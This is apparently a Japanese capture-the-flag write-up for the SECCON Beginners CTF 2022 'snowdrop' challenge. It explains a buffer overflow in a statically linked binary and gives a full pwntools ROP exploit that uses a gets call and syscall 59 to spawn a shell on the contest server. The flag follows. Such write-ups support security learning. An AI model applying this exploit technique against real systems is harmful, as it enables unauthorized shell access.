[SECCON Beginners CTF 2022] snowdrop

これでもうあの危険なone gadgetは使わせないよ!

実行ファイルchallとそのソースコードsrc.cが配布される。

challをGhidraに投げて中身を見ると、どうもlibcがstatic linkされてるようだ。
checksecはCanaryがあると言っていたがどうやらそれはlibc部分だけで、mainはBOFできそうなのでそこからROPを組む。
ただし、one_gadgetへの殺意が高くexecveやsystemといった関数は消されているため、syscallの59を使って無理矢理execve("/bin/sh", 0, 0)を組みあげた

#!python
from struct import pack
from pwn import *

context.arch='amd64'
target = 'chall'
elf = ELF(target)

local = 0
debug = 0
if local:
    io = process(target)
    if debug:
        gdb.attach(io)
else:
    io = remote('snowdrop.quals.beginners.seccon.jp', 9002)

pop_rdi = 0x0048d3d1 # pop rdi ; ret  ;  (1 found)
pop_rsi = 0x0048cdbf # pop rsi ; ret  ;  (1 found)
pop_rdx = 0x004017cf # pop rdx ; ret  ;  (1 found)
pop_rax = 0x0047d2ba # pop rax ; ret  ;  (1 found)
syscall = 0x0047ffe9 # syscall  ; ret  ;  (1 found)

stack = io.readuntil('finish').decode()
print(stack)
#rbp = eval(stack.split('\n')[6][10:28])
#print(f'rbp = {rbp:016x}')

bin_sh = 0x004ba0e0

payload = b'A'*0x18
payload += pack(pop_rdi)
payload += pack(bin_sh)
payload += pack(0x00412b60) # gets
payload += pack(pop_rdi)
payload += pack(bin_sh)
payload += pack(pop_rsi)
payload += pack(0)
payload += pack(pop_rdx)
payload += pack(0)
payload += pack(pop_rax)
payload += pack(59)
payload += pack(syscall)

io.sendlineafter('?', payload)

payload = b'/bin/sh'
io.sendlineafter('finish', payload)

io.interactive()

ctf4b{h1ghw4y_t0_5h3ll}

想定解はNXが無効であることを利用したshellcodeの実行だったらしいので無駄な苦労をした感がすごいです…